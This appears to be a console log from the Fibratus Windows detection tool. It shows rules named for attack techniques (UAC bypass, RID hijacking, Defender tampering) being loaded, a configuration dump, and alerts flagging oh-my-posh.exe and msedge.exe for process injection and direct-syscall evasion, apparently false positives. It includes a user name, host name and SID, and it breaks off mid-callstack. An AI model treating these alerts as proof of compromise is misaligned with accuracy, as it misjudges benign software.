+time=2025-12-05T13:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-12-05T13:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-05T13:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-12-05T13:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-12-05T13:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-12-05T13:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-12-05T13:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-12-05T13:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T13:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-12-05T13:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-12-05T13:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-12-05T13:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-05T13:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-12-05T13:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-12-05T13:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-05T13:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T13:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-05T13:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-05T13:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-12-05T13:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-12-05T13:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-05T13:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T13:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T13:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-12-05T13:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-12-05T13:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-12-05T13:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-12-05T13:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T13:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-12-05T13:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-12-05T13:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-12-05T13:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-12-05T13:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-12-05T13:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T13:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-12-05T13:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-12-05T13:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-12-05T13:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-12-05T13:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-12-05T13:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-12-05T13:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_directory_creation.yml source=config/filters.go:355 +time=2025-12-05T13:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation.yml source=config/filters.go:355 +time=2025-12-05T13:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-12-05T13:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-12-05T13:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-05T13:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-12-05T13:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T13:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-05T13:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-05T13:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T13:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-12-05T13:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-05T13:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-12-05T13:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-12-05T13:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-05T13:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T13:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T13:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-12-05T13:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-12-05T13:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-05T13:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-05T13:19:26+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:152 +time=2025-12-05T13:19:26+01:00 level=info msg=bootstrapping with pid 2768. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-05T13:19:26+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ use-template=>true enabled=>false to=>[] content-type=>text/html port=>25] systray=>[ enabled=>false quiet-mode=>false sound=>true] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-threads=>false serialize-envs=>true serialize-handles=>false serialize-images=>false serialize-pe=>false] + eventsource .................... [ buffer-size=>512 enable-audit-api=>true enable-image=>true enable-net=>true enable-vamap=>true enable-fileio=>true enable-mem=>false enable-threadpool=>false stack-enrichment=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-thread=>true enable-dns=>false max-buffers=>36 min-buffers=>16 enable-handle=>false enable-registry=>true flush-interval=>1s] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ level=>info log-stdout=>true max-backups=>15 formatter=>text max-size=>100 max-age=>0] + output ......................... [ elasticsearch=>[ timeout=>5s enabled=>false trace-log=>false healthcheck-timeout=>5s index-name=>fibratus flush-period=>1s healthcheck=>true gzip-compression=>false healthcheck-interval=>10s sniff=>false servers=>[http://127.0.0.1:9200] bulk-workers=>1 template-name=>fibratus] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +] amqp=>[ exchange=>fibratus routing-key=>fibratus durable=>false url=>amqp://localhost:5672 passive=>false exchange-type=>topic tls-insecure-skip-verify=>false timeout=>5s delivery-mode=>transient enabled=>false vhost=>/] eventlog=>[ level=>info enabled=>false] http=>[ method=>POST enable-gzip=>false timeout=>5s endpoints=>[] enabled=>false tls-insecure-skip-verify=>false serializer=>json]] + pe ............................. [ read-sections=>false excluded-images=>[svchost.exe] read-symbols=>false enabled=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ params=>[] enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ skip-allocs=>false enabled=>false skip-files=>false excluded-procs=>[] fastscan=>true skip-mmaps=>false excluded-files=>[] rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-registry=>false scan-timeout=>10s] source=bootstrap/bootstrap.go:187 +time=2025-12-05T13:19:36+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-05T13:19:38+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-05T13:20:02+01:00 level=info msg=sending alert: [Thread context set from unbacked memory]. Text: Event(s): + Seq: 2338501 + Pid: 6444 + Tid: 6280 + Type: SetThreadContext + CPU: 6 + Name: SetThreadContext + Category: thread + Description: + Host: archrabbit + Timestamp: 2025-12-05 13:20:00.0638778 +0100 CET + Params: status➜ Success + Metadata: tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, rule.name: Thread context set from unbacked memory + + Pid: 6444 + Ppid: 18872 + Name: oh-my-posh.exe + Parent name: powershell.exe + Cmdline: "C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe" "print" "primary" "--error=0" "--pwd=C:\Fibratus\fibratus" "--pswd=C:\Fibratus\fibratus" "--execution-time=1113759.9813" "--stack-count=0" "--config=C:\Posh-Themes\spaceship.json" "--shell-version=5.1.26100.7019" "--terminal-width=156" "--shell=pwsh" + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe" "print" "primary" "--error=0" "--pwd=C:\Fibratus\fibratus" "--pswd=C:\Fibratus\fibratus" "--execution-time=1113759.9813" "--stack-count=0" "--config=C:\Posh-Themes\spaceship.json" "--shell-version=5.1.26100.7019" "--terminal-width=156" "--shell=pwsh"] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-05T13:32:11+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 4159506 + Pid: 1796 + Tid: 13396 + Type: LoadImage + CPU: 2 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 13:32:11.4942061 +0100 CET + Params: base_address➜ 7ffcd2830000, checksum➜ 3046501, default_address➜ 7ffcd2830000, file_path➜ C:\Windows\System32\CoreUIComponents.dll, image_size➜ 3022848, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 1796, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 1796 + Ppid: 1884 + Name: msedge.exe + Parent name: explorer.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start + Parent cmdline: C:\WINDOWS\Explorer.EXE + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start] + Session ID: 1 + Envs: map[] + + ] and callstack [0xfffff80474f42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80474e74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80474f48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80475472258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80475471ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff804754690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff804754621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff8047546179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff804752b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffc9f571014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffc9f383640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffc9f383a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffcde9e53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e4e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e84cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffcde9e3c3c C:\Windows\System32\ntdll.dll!RtlGetFullPathName_UstrEx|0x7ffcdea541ba C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7ffcde9f63a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcde9f6996 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcdea2d7d3 C:\Windows\System32\ntdll.dll!RtlGuardCheckLongJumpTarget|0x7ffcdea2b94d C:\Windows\System32\ntdll.dll!LdrResolveDelayLoadedAPI|0x7ffcb04c1b52 C:\Windows\System32\TextInputFramework.dll!TextInputHostGetForHwnd|0x7ffcb04dcddb C:\Windows\System32\TextInputFramework.dll!TextInputServerCreate|0x7ffcb047eece C:\Windows\System32\TextInputFramework.dll!tsfGetKeyState|0x7ffcb047f9b0 C:\Windows\System32\TextInputFramework.dll!TextInputClientCreate2|0x7ffcb0480082 C:\Windows\System32\TextInputFramework.dll!TextInputHostCreate|0x7ffcdd32d883 C:\Windows\System32\msctf.dll!CtfImeProcessKey|0x7ffcdd391579 C:\Windows\System32\msctf.dll!TF_InitSystem|0x7ffcb047f371 C:\Windows\System32\TextInputFramework.dll!tsfGetKeyState|0x7ffcb048a1ef C:\Windows\System32\TextInputFramework.dll!TextInputHostCreateEx|0x7ffcdd394301 C:\Windows\System32\msctf.dll!TF_InitSystem|0x7ffcdd393814 C:\Windows\System32\msctf.dll!TF_InitSystem|0x7ffcdd3794dd C:\Windows\System32\msctf.dll!TF_SetThreadFlags|0x7ffcdd337d72 C:\Windows\System32\msctf.dll!CtfImeProcessKey|0x7ffcdd3407ce C:\Windows\System32\msctf.dll!CtfImeProcessKey|0x7ffcdd16b190 C:\Windows\System32\user32.dll!RegisterWindowMessageA|0x7ffcdeb45ce4 C:\Windows\System32\ntdll.dll!KiUserCallbackDispatcher|0xfffff804754fcd69 C:\WINDOWS\system32\ntoskrnl.exe!KeUserModeCallback+0x299|0xfffff80420d37c79 C:\WINDOWS\System32\win32kfull.sys!NtGdiExtTextOutW+0x9b9|0xfffff80420c1b620 C:\WINDOWS\System32\win32kfull.sys!xxxWindowEvent+0x1270|0xfffff80420c1ada4 C:\WINDOWS\System32\win32kfull.sys!xxxWindowEvent+0x9f4|0xfffff80420e5922d C:\WINDOWS\System32\win32kfull.sys!xxxDesktopThread+0xe2d|0xfffff80420e1367e C:\WINDOWS\System32\win32kfull.sys!zzzSetDesktop+0x3fe|0xfffff80420e49108 C:\WINDOWS\System32\win32kfull.sys!WakeRITForConfigSwitch+0x1d18|0xfffff80420d5ae71 C:\WINDOWS\System32\win32kfull.sys!NtUserSetFocus+0x4a1|0xfffff80420e28fec C:\WINDOWS\System32\win32kfull.sys!xxxEndMenuLoop+0x165c|0xfffff80420d3e6aa C:\WINDOWS\System32\win32kfull.sys!EditionIsGpqForegroundAccessibleExplicit+0x1f4a|0xfffff80420d0604f C:\WINDOWS\System32\win32kfull.sys!NtUserShellHandwritingUndelegateInput+0x3cf|0xfffff80420bf50ad C:\WINDOWS\System32\win32kfull.sys!NtUserMessageCall+0x18d|0xfffff80406901362 C:\WINDOWS\System32\win32k.sys!?|0xfffff804752b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffcdc271344 C:\Windows\System32\win32u.dll!NtUserMessageCall|0x7ffcdd133d0b C:\Windows\System32\user32.dll!GetSystemMetrics|0x7ffcdd13511e C:\Windows\System32\user32.dll!IsWindowUnicode|0x7ffc8f26b050 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8ed06e6d C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8ed06ddf C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffcdd137846 C:\Windows\System32\user32.dll!CallWindowProcW|0x7ffcdd1370cc C:\Windows\System32\user32.dll!SendMessageW|0x7ffcdd167e93 C:\Windows\System32\user32.dll!GetWindowDpiAwarenessContext|0x7ffcdeb45ce4 C:\Windows\System32\ntdll.dll!KiUserCallbackDispatcher|0x7ffcdc2712c4 C:\Windows\System32\win32u.dll!NtUserPeekMessage|0x7ffcdd12e0ef C:\Windows\System32\user32.dll!PeekMessageW|0x7ffcdd12e078 C:\Windows\System32\user32.dll!PeekMessageW|0x7ffc8ecbf372 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8ecbee69 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8de436f3 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8e3c759e C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8e433f73 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7ffc8f129dd8 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7ffc8cec271d C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cec1a6b C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cec0b46 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceaea2f C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceae2af C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8ceada86 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ffc8cead471 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!ChromeMain|0x7ff7cf770137 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf76cfb6 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!?|0x7ff7cf81ce32 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe!IsSandboxedProcess|0x7ffcdc7ae8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffcdea6c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-05T13:32:12+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 4161845 + Pid: 1796 + Tid: 13396 + Type: LoadImage + CPU: 2 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 13:32:12.636404 +0100 CET + Params: base_address➜ 7ffcb3970000, checksum➜ 1435728, default_address➜ 7ffcb3970000, file_path➜ C:\Windows\System32\wpnapps.dll, image_size➜ 1425408, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 1796, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 1796 + Ppid: 1884 + Name: msedge.exe + Parent name: explorer.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start + Parent cmdline: C:\WINDOWS\Explorer.EXE + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start] + Session ID: 1 + Envs: map[] + + ] and callstack [0xfffff80474f42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff80474e74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff80474f48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff80475472258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff80475471ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff804754690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff804754621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff8047546179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff804752b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffc9f571014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffc9f383640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffc9f383a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffcde9e53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e4e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcde9e84cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffcde9e701d C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffcdea54294 C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7ffcde9f63a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcde9f6020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffcdea1fa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7ffcdbb6d29f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7ffcdd647a6d C:\Windows\System32\combase.dll!CoTaskMemFree|0x7ffcdd64759f C:\Windows\System32\combase.dll!CoTaskMemFree|0x7ffcdd6644fe C:\Windows\System32\combase.dll!WindowsDeleteString|0x7ffcdd7cd25a C:\Windows\System32\combase.dll!Ordinal225|0x7ffcdd6187d1 